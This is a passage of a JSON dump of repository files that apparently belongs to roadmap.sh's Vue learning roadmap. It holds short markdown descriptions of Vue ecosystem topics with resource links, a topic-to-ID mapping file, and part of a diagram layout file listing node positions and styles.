    "path": "src/data/roadmaps/vue/content/vue-router@COxkmvqe9jFtV9WtGjfbh.md",
    "content": "# Vue Router\n\nVue Router is the official router for Vue.js which allows creating static/dynamic routes, has support for navigation interception, allows for component based configuration and much more.\n\nVisit the following resources to learn more:\n\n- [@official@The Vue Router](https://router.vuejs.org/)\n- [@feed@Explore top posts about Vue.js](https://app.daily.dev/tags/vuejs?ref=roadmapsh)\n- [@video@The Vue Router](https://www.youtube.com/watch?v=juocv4AtrHo)\n"
  },
  {
    "path": "src/data/roadmaps/vue/content/vue-testing-library@p5bUvgr_3H-A55ZnEExk8.md",
    "content": "# Vue Testing Library\n\nThe Vue Testing Library is a very lightweight solution for testing Vue components. Its primary guiding principle is: The more your tests resemble the way your software is used, the more confidence they can give you.\n\nVisit the following resources to learn more:\n\n- [@official@Getting Started with Vue Testing Library](https://testing-library.com/docs/vue-testing-library/intro/)\n- [@feed@Explore top posts about Testing](https://app.daily.dev/tags/testing?ref=roadmapsh)\n"
  },
  {
    "path": "src/data/roadmaps/vue/content/vuelidate@6U_CAhAY_jyj_4Mzj_HL_.md",
    "content": "# Vuelidate\n\nSimple, lightweight model-based validation for Vue.js.\n\nVisit the following resources to learn more:\n\n- [@official@Vuelidate Website](https://vuelidate.js.org/)\n- [@opensource@vuelidate/vuelidate](https://github.com/vuelidate/vuelidate)\n"
  },
  {
    "path": "src/data/roadmaps/vue/content/vuetify@VNclt_QQthWb2u4xWI_uY.md",
    "content": "# Vuetify\n\nVuetify is a Vue UI Library with beautifully handcrafted Material Components. No design skills required — everything you need to create amazing applications is at your fingertips.\n\nVisit the following resources to learn more:\n\n- [@official@Vuetify Website](https://vuetifyjs.com/en/)\n- [@official@Getting Started with Vuetify](https://vuetifyjs.com/en/getting-started/installation/)\n- [@feed@Explore top posts about Vue.js](https://app.daily.dev/tags/vuejs?ref=roadmapsh)\n- [@video@Vuetify: Create an App with Vue JS - in 30 MINUTES!](https://www.youtube.com/watch?v=CjXgoYo86yY)\n"
  },
  {
    "path": "src/data/roadmaps/vue/content/vueuse@Z9szBPFXfqK_KsvzkR-rf.md",
    "content": "# VueUse\n\nVueUse is a collection of utility functions based on Composition API. It has over 200+ functions, is tree-shakable, has first-class TypeScript support, and has a small bundle size. VueUse is a great choice for adding common utilities to your Vue 3 projects.\n\nVisit the following resources to learn more:\n\n- [@official@VueUse](https://vueuse.org/)\n"
  },
  {
    "path": "src/data/roadmaps/vue/content/watchers@kdlXhbw_a81xdZtyK-pVa.md",
    "content": "# Watchers\n\nComputed properties allow us to declaratively compute derived values. However, there are cases where we need to perform \"side effects\" in reaction to state changes - for example, mutating the DOM, or changing another piece of state based on the result of an async operation. With Composition API, we can use the watch function to trigger a callback whenever a piece of reactive state changes.\n\nVisit the following resources to learn more:\n\n- [@official@Watchers in Vue.js](https://vuejs.org/guide/essentials/watchers.html)\n"
  },
  {
    "path": "src/data/roadmaps/vue/faqs.astro",
    "content": ""
  },
  {
    "path": "src/data/roadmaps/vue/migration-mapping.json",
    "content": "{\n  \"fundamental-topics:create-vue\": \"y9ToYDix-koRbR6FLydFw\",\n  \"fundamental-topics:components\": \"0EevuyZiyty3X3Jzpjl4y\",\n  \"fundamental-topics:components:single-file-components\": \"VNBRlJkdH6NOOzGXUrbZK\",\n  \"fundamental-topics:components:component-registration\": \"2HhKifjuDcP3eKpanRMEQ\",\n  \"fundamental-topics:components:props\": \"raEfI4GLMW2fOucka07VE\",\n  \"fundamental-topics:components:events\": \"X0J3ogH3W8EQe68tLfcGL\",\n  \"fundamental-topics:components:v-model\": \"swpyZFUO4UO3mW8Bvf1Te\",\n  \"fundamental-topics:components:attribute-inheritance\": \"4S5fVFsFDMbq05ld7n0sF\",\n  \"fundamental-topics:templates\": \"VlcYnTHW5d4J_zLYupvu5\",\n  \"fundamental-topics:directives\": \"CGdw3PqLRb9OqFU5SqmE1\",\n  \"fundamental-topics:api-styles\": \"OpJ2NMKCGXQezpzURE45R\",\n  \"fundamental-topics:api-styles:options-api\": \"PPUU3Rb73aCpT4zcyvlJE\",\n  \"fundamental-topics:api-styles:composition-api\": \"a0qwdQTunxEjQ9A5wpF-q\",\n  \"fundamental-topics:app-configurations\": \"qRm08uDZW-D8QDc-9sPX8\",\n  \"fundamental-topics:rendering-lists\": \"ftqDoGpwqqWQnu4NQSsMk\",\n  \"fundamental-topics:conditional-rendering\": \"tU4Umtnfu01t9gLlnlK6b\",\n  \"fundamental-topics:lifecycle-hooks\": \"WiGG9_4G5y-AVA9byw6_g\",\n  \"fundamental-topics:forms-handling\": \"PQu4TyJOfCEaafW5th0e4\",\n  \"fundamental-topics:events-handling\": \"4p6Gh2fMPA8hls_mWa5HR\",\n  \"fundamental-topics:computed-properties\": \"Bx1Atxcf15AEaA1BiSIc6\",\n  \"advanced-topics:async-components\": \"Re7tv1U0LxYqE5ShFxQSf\",\n  \"advanced-topics:teleport-components\": \"SGsd08ZTu4H76s8cfbCKe\",\n  \"advanced-topics:provide-inject\": \"xwVbhOpQMPPB4G-lhro0B\",\n  \"advanced-topics:custom-directives\": \"br1r8KIf5KInY5mk2xhA6\",\n  \"advanced-topics:plugins\": \"_Nc8ivQrdpKuf8MwaV-K7\",\n  \"advanced-topics:watchers\": \"kdlXhbw_a81xdZtyK-pVa\",\n  \"advanced-topics:slots\": \"jkX66izOHVWqtyd6KZ0K6\",\n  \"advanced-topics:transition\": \"SWpWg5J5N9ZfY_DaIigA5\",\n  \"advanced-topics:transition-group\": \"HjzOYjS-7ZEBvElRJ8uN2\",\n  \"ecosystem:vueuse\": \"Z9szBPFXfqK_KsvzkR-rf\",\n  \"ecosystem:routing:vue-router\": \"COxkmvqe9jFtV9WtGjfbh\",\n  \"ecosystem:routing\": \"ixRG0xfEp4BmyvCR0mtoR\",\n  \"ecosystem:forms\": \"izGdctxP_OvQNvaMwVIrh\",\n  \"ecosystem:forms:formkit\": \"BXz1utB_2eYzFvzSbFKx0\",\n  \"ecosystem:forms:vee-validate\": \"_Fmp8_z4SKWfKUE80_fqb\",\n  \"ecosystem:forms:vuelidate\": \"6U_CAhAY_jyj_4Mzj_HL_\",\n  \"ecosystem:ssr\": \"Cm6mqXYp-G4mGfPxuU73_\",\n  \"ecosystem:ssg\": \"822tGnM9jOkYh9aNlosPr\",\n  \"ecosystem:ssr:quasar\": \"f2udJnT2q5eDmBZ_OKtmi\",\n  \"ecosystem:ssr:nuxt-js\": \"8xZxTLYq5m5_nkGh2lfUt\",\n  \"ecosystem:ssg:vitepress\": \"_46COO0FGaFuCYwqaRRWy\",\n  \"ecosystem:vitest\": \"LjEAviRMtPLwUUlfcof1h\",\n  \"ecosystem:vue-testing-library\": \"p5bUvgr_3H-A55ZnEExk8\",\n  \"ecosystem:cypress\": \"JbMKUVDMUygjXXmhndHVs\",\n  \"ecosystem:playwright\": \"zqcE3bTnymdepV-Yc8qBl\",\n  \"ecosystem:tailwind-css\": \"TkzlmJ85O-e-KfMhTBwry\",\n  \"ecosystem:vuetify\": \"VNclt_QQthWb2u4xWI_uY\",\n  \"ecosystem:element-ui\": \"NMIh8rqLM5P-Uk65uHATn\",\n  \"ecosystem:state-management\": \"9AwVtwIv6TfP9F4ulz2F0\",\n  \"ecosystem:state-management:pinia\": \"NIvjyhtTFC1gomtGQT_2t\",\n  \"ecosystem:mobile-apps\": \"3RwIO-S8-xOYKNmfwk0pf\",\n  \"ecosystem:mobile-apps:capacitor\": \"IsNzCdS05tbAK0D1zz0Sf\",\n  \"ecosystem:api-calls\": \"ZLlz0Azfze-8k3z8HnVvE\",\n  \"ecosystem:api-calls:apollo\": \"l2Rl6OQbL7kYvPlpYCZ0Z\",\n  \"ecosystem:api-calls:axios\": \"n5IlN-wv4k0r16CvhoSpD\",\n  \"ecosystem:api-calls:fetch\": \"ufnt87swK61kxShLuVc1-\",\n  \"ecosystem:api-calls:tanstack-query\": \"WSq_cDKQPZa_qmQlIdGXg\"\n}"
  },
  {
    "path": "src/data/roadmaps/vue/vue.json",
    "content": "{\n  \"nodes\": [\n    {\n      \"id\": \"sg9IjWWorT2lLEnUek-q5\",\n      \"type\": \"section\",\n      \"position\": {\n        \"x\": -447.5730606910654,\n        \"y\": 1502.6656483488384\n      },\n      \"width\": 233,\n      \"height\": 220,\n      \"style\": {\n        \"width\": 233,\n        \"height\": 220\n      },\n      \"selected\": false,\n      \"data\": {\n        \"style\": {\n          \"backgroundColor\": \"#ffffff\",\n          \"borderColor\": \"#000000\"\n        }\n      },\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": -447.5730606910654,\n        \"y\": 1502.6656483488384\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 233,\n        \"height\": 220\n      }\n    },\n    {\n      \"id\": \"ua7DIYStv0V-G9f0vWE_W\",\n      \"type\": \"section\",\n      \"position\": {\n        \"x\": -249.9953868087789,\n        \"y\": 1194.2566150719415\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"\",\n        \"style\": {\n          \"width\": 150,\n          \"height\": 100,\n          \"fontSize\": 17,\n          \"backgroundColor\": \"#ffffff\",\n          \"borderColor\": \"#000000\"\n        }\n      },\n      \"zIndex\": -999,\n      \"width\": 218,\n      \"height\": 164,\n      \"style\": {\n        \"width\": 218,\n        \"height\": 164\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": -249.9953868087789,\n        \"y\": 1194.2566150719415\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 218,\n        \"height\": 164\n      }\n    },\n    {\n      \"id\": \"s7zTkuA9XzDhJHb7-tL7A\",\n      \"type\": \"vertical\",\n      \"position\": {\n        \"x\": -216.52532545570534,\n        \"y\": 185.7304293708296\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"vertical node\",\n        \"style\": {\n          \"stroke\": \"#2B78E4\",\n          \"strokeWidth\": 3.75\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 21,\n      \"height\": 289,\n      \"style\": {\n        \"width\": 21,\n        \"height\": 289\n      },\n      \"positionAbsolute\": {\n        \"x\": -216.52532545570534,\n        \"y\": 185.7304293708296\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 21,\n        \"height\": 289\n      }\n    },\n    {\n      \"id\": \"aIYgUc_hEIZx_2P3OhCNh\",\n      \"type\": \"section\",\n      \"position\": {\n        \"x\": 304.6806160048882,\n        \"y\": 472.59334049231074\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"\",\n        \"style\": {\n          \"width\": 150,\n          \"height\": 100,\n          \"fontSize\": 17,\n          \"backgroundColor\": \"#ffffff\",\n          \"borderColor\": \"#000000\"\n        }\n      },\n      \"zIndex\": -999,\n      \"width\": 239,\n      \"height\": 687,\n      \"style\": {\n        \"width\": 239,\n        \"height\": 687\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": 304.6806160048882,\n        \"y\": 472.59334049231074\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 239,\n        \"height\": 687\n      }\n    },\n    {\n      \"width\": 89,\n      \"height\": 68,\n      \"id\": \"iogwMmOvub2ZF4zgg6WyF\",\n      \"type\": \"title\",\n      \"position\": {\n        \"x\": -49.45968546864998,\n        \"y\": -155.76957062917046\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Vue\",\n        \"style\": {\n          \"fontSize\": 28,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"9nxw2PEl-_eQPW0FHNPq2\"\n      },\n      \"zIndex\": 999,\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": -49.45968546864998,\n        \"y\": -155.76957062917046\n      },\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 89,\n        \"height\": 68\n      }\n    },\n    {\n      \"width\": 21,\n      \"height\": 64,\n      \"id\": \"LEijbLyxg4RyutKEM2Y5g\",\n      \"type\": \"vertical\",\n      \"position\": {\n        \"x\": -15.45968546864998,\n        \"y\": -230.76957062917046\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"vertical node\",\n        \"style\": {\n          \"strokeDasharray\": \"0.8 8\",\n          \"strokeLinecap\": \"round\",\n          \"strokeWidth\": 3.5,\n          \"stroke\": \"#0A33FF\"\n        },\n        \"oldId\": \"xD07fJ1NmNeAarVCEfubU\"\n      },\n      \"zIndex\": 999,\n      \"positionAbsolute\": {\n        \"x\": -15.45968546864998,\n        \"y\": -230.76957062917046\n      },\n      \"dragging\": false,\n      \"focusable\": true,\n      \"style\": {\n        \"width\": 21,\n        \"height\": 64\n      },\n      \"resizing\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 21,\n        \"height\": 64\n      }\n    },\n    {\n      \"id\": \"yHmHXymPNWwu8p1vvqD3o\",\n      \"type\": \"paragraph\",\n      \"position\": {\n        \"x\": 179.8414717224867,\n        \"y\": -232.76957062917046\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Find the detailed version of this roadmap along with other similar roadmaps\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"left\",\n          \"borderColor\": \"#000000\",\n          \"backgroundColor\": \"#FFFFFf\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 364,\n      \"height\": 143,\n      \"positionAbsolute\": {\n        \"x\": 179.8414717224867,\n        \"y\": -232.76957062917046\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"style\": {\n        \"width\": 364,\n        \"height\": 143\n      },\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 364,\n        \"height\": 143\n      }\n    },\n    {\n      \"id\": \"R_Fs6rdl2XtQ9aLOubMqL\",\n      \"type\": \"button\",\n      \"position\": {\n        \"x\": 193.04484613528683,\n        \"y\": -150.78400721142515\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"roadmap.sh\",\n        \"href\": \"https://roadmap.sh\",\n        \"color\": \"#ffffff\",\n        \"backgroundColor\": \"#4136D6\",\n        \"style\": {\n          \"fontSize\": 17\n        },\n        \"oldId\": \"2zqZkyVgigifcRS1H7F_b\"\n      },\n      \"zIndex\": 999,\n      \"width\": 340,\n      \"height\": 49,\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 340,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": 193.04484613528683,\n        \"y\": -150.78400721142515\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 340,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"xwpc_KxehAruFM0pCQnie\",\n      \"type\": \"vertical\",\n      \"position\": {\n        \"x\": -11.628773626739985,\n        \"y\": 2031.9010423312407\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"vertical node\",\n        \"style\": {\n          \"strokeDasharray\": \"0.8 8\",\n          \"strokeLinecap\": \"round\",\n          \"strokeWidth\": 3.5,\n          \"stroke\": \"#4136D4\"\n        },\n        \"oldId\": \"Ju00mr0KLGN2BV6yEQGPt\"\n      },\n      \"zIndex\": 999,\n      \"width\": 21,\n      \"height\": 104,\n      \"positionAbsolute\": {\n        \"x\": -11.628773626739985,\n        \"y\": 2031.9010423312407\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 21,\n        \"height\": 104\n      },\n      \"resizing\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 21,\n        \"height\": 104\n      }\n    },\n    {\n      \"width\": 427,\n      \"height\": 119,\n      \"id\": \"GV_zWF6rSWg5bqgiXhOEf\",\n      \"type\": \"paragraph\",\n      \"position\": {\n        \"x\": -214.62877362673987,\n        \"y\": 1942.385077050813\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Have a look at the following related roadmaps\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\",\n          \"borderColor\": \"#000000\",\n          \"backgroundColor\": \"#ffffff\"\n        },\n        \"oldId\": \"sVXZrBCsiSzWBBYWTm-nQ\"\n      },\n      \"zIndex\": 999,\n      \"positionAbsolute\": {\n        \"x\": -214.62877362673987,\n        \"y\": 1942.385077050813\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 427,\n        \"height\": 119\n      },\n      \"resizing\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 427,\n        \"height\": 119\n      }\n    },\n    {\n      \"width\": 206,\n      \"height\": 49,\n      \"id\": \"ZSrQoNGKiR484uALMWO9F\",\n      \"type\": \"button\",\n      \"position\": {\n        \"x\": -4.080988474536298,\n        \"y\": 2000.0743589624644\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"TypeScript Roadmap\",\n        \"href\": \"https://roadmap.sh/typescript\",\n        \"color\": \"#FFFFFf\",\n        \"backgroundColor\": \"#4136D4\",\n        \"style\": {\n          \"fontSize\": 17\n        },\n        \"borderColor\": \"#4136D4\",\n        \"oldId\": \"dlGf3ZdFXYx0Z6Viu2x-l\"\n      },\n      \"zIndex\": 999,\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": -4.080988474536298,\n        \"y\": 2000.0743589624644\n      },\n      \"style\": {},\n      \"focusable\": true,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 206,\n        \"height\": 49\n      }\n    },\n    {\n      \"width\": 195,\n      \"height\": 49,\n      \"id\": \"P5IZjP0g1_fnvHy3YTR4q\",\n      \"type\": \"button\",\n      \"position\": {\n        \"x\": -204.2816601458129,\n        \"y\": 2000.0743589624644\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Frontend Roadmap\",\n        \"href\": \"https://roadmap.sh/frontend\",\n        \"color\": \"#FFFFFf\",\n        \"backgroundColor\": \"#4136D4\",\n        \"style\": {\n          \"fontSize\": 17\n        },\n        \"borderColor\": \"#4136D4\",\n        \"oldId\": \"dlGf3ZdFXYx0Z6Viu2x-l\"\n      },\n      \"zIndex\": 999,\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": -204.2816601458129,\n        \"y\": 2000.0743589624644\n      },\n      \"style\": {},\n      \"focusable\": true,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 195,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"0EevuyZiyty3X3Jzpjl4y\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": 344.5448461352869,\n        \"y\": 177.7304293708296\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Components\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"tU4Umtnfu01t9gLlnlK6b\"\n      },\n      \"zIndex\": 999,\n      \"width\": 159,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 159,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 344.5448461352869,\n        \"y\": 177.7304293708296\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 159,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"XDvH2t3AJGevS17uM8TO6\",\n      \"type\": \"button\",\n      \"position\": {\n        \"x\": -108.45968546864998,\n        \"y\": 33.94433023898546\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"JavaScript Roadmap\",\n        \"href\": \"https://roadmap.sh/javascript\",\n        \"color\": \"#ffffff\",\n        \"backgroundColor\": \"#4136D6\",\n        \"style\": {\n          \"fontSize\": 17\n        },\n        \"oldId\": \"R_Fs6rdl2XtQ9aLOubMqL\"\n      },\n      \"zIndex\": 999,\n      \"width\": 207,\n      \"height\": 49,\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 207,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": -108.45968546864998,\n        \"y\": 33.94433023898546\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 207,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"y9ToYDix-koRbR6FLydFw\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 359.0448461352869,\n        \"y\": -59.05566976101454\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"create-vue\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 130,\n      \"height\": 49,\n      \"style\": {},\n      \"positionAbsolute\": {\n        \"x\": 359.0448461352869,\n        \"y\": -59.05566976101454\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 130,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"lsC4XcjZoMODK_3b_vilY\",\n      \"type\": \"linksgroup\",\n      \"position\": {\n        \"x\": -514.5253254557053,\n        \"y\": -217.76957062917046\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Related Roadmaps\",\n        \"links\": [\n          {\n            \"id\": \"XxVdieUjAjB36MpgPIwMy\",\n            \"label\": \"JavaScript Roadmap\",\n            \"href\": \"\",\n            \"url\": \"https://roadmap.sh/javascript\"\n          },\n          {\n            \"id\": \"8ZLwReh1HSZDMXGgjnYp9\",\n            \"label\": \"React Roadmap\",\n            \"url\": \"https://roadmap.sh/react\"\n          },\n          {\n            \"id\": \"PVLflqBimeZ2iCUUNMhU8\",\n            \"label\": \"Angular Roadmap\",\n            \"url\": \"https://roadmap.sh/angular\"\n          },\n          {\n            \"id\": \"iMG4TiLMRmM2cAbMOG37K\",\n            \"label\": \"TypeScript Roadmap\",\n            \"url\": \"https://roadmap.sh/typescript\"\n          }\n        ]\n      },\n      \"zIndex\": 999,\n      \"width\": 331,\n      \"height\": 193,\n      \"positionAbsolute\": {\n        \"x\": -514.5253254557053,\n        \"y\": -217.76957062917046\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"style\": {\n        \"width\": 331,\n        \"height\": 193\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 331,\n        \"height\": 193\n      }\n    },\n    {\n      \"id\": \"kPzzrnb2DRHlJ7piaywDe\",\n      \"type\": \"paragraph\",\n      \"position\": {\n        \"x\": 310.5448461352869,\n        \"y\": 26.444330238985458\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Boostrapping a Project\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"borderColor\": \"transparent\",\n          \"backgroundColor\": \"transparent\",\n          \"color\": \"#000000\",\n          \"textAlign\": \"center\",\n          \"justifyContent\": \"center\",\n          \"padding\": 16\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 227,\n      \"height\": 64,\n      \"style\": {\n        \"width\": 227,\n        \"height\": 64\n      },\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": 310.5448461352869,\n        \"y\": 26.444330238985458\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 227,\n        \"height\": 64\n      }\n    },\n    {\n      \"id\": \"VNBRlJkdH6NOOzGXUrbZK\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -13.265315108760092,\n        \"y\": 177.7304293708296\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Single File Components\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 258,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 258,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -13.265315108760092,\n        \"y\": 177.7304293708296\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 258,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"2HhKifjuDcP3eKpanRMEQ\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -13.265315108760092,\n        \"y\": 124.7304293708296\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Component Registration\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 258,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 258\n      },\n      \"positionAbsolute\": {\n        \"x\": -13.265315108760092,\n        \"y\": 124.7304293708296\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 258,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"raEfI4GLMW2fOucka07VE\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -13.265315108760092,\n        \"y\": 230.7304293708296\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Props\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 71,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 71,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -13.265315108760092,\n        \"y\": 230.7304293708296\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 71,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"X0J3ogH3W8EQe68tLfcGL\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 60.73468489123991,\n        \"y\": 230.7304293708296\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Events\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 71,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 71,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 60.73468489123991,\n        \"y\": 230.7304293708296\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 71,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"swpyZFUO4UO3mW8Bvf1Te\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 134.7346848912399,\n        \"y\": 230.7304293708296\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"v-model\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 109,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 109,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 134.7346848912399,\n        \"y\": 230.7304293708296\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 109,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"4S5fVFsFDMbq05ld7n0sF\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -13.265315108760092,\n        \"y\": 283.7304293708296\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Attribute Inheritance\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 258,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 258,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -13.265315108760092,\n        \"y\": 283.7304293708296\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 258,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"VlcYnTHW5d4J_zLYupvu5\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": 344.5448461352869,\n        \"y\": 279.7304293708296\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Templates\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"tU4Umtnfu01t9gLlnlK6b\"\n      },\n      \"zIndex\": 999,\n      \"width\": 159,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 159,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 344.5448461352869,\n        \"y\": 279.7304293708296\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 159,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"CGdw3PqLRb9OqFU5SqmE1\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": 344.5448461352869,\n        \"y\": 374.33464066194904\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Directives\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"tU4Umtnfu01t9gLlnlK6b\"\n      },\n      \"zIndex\": 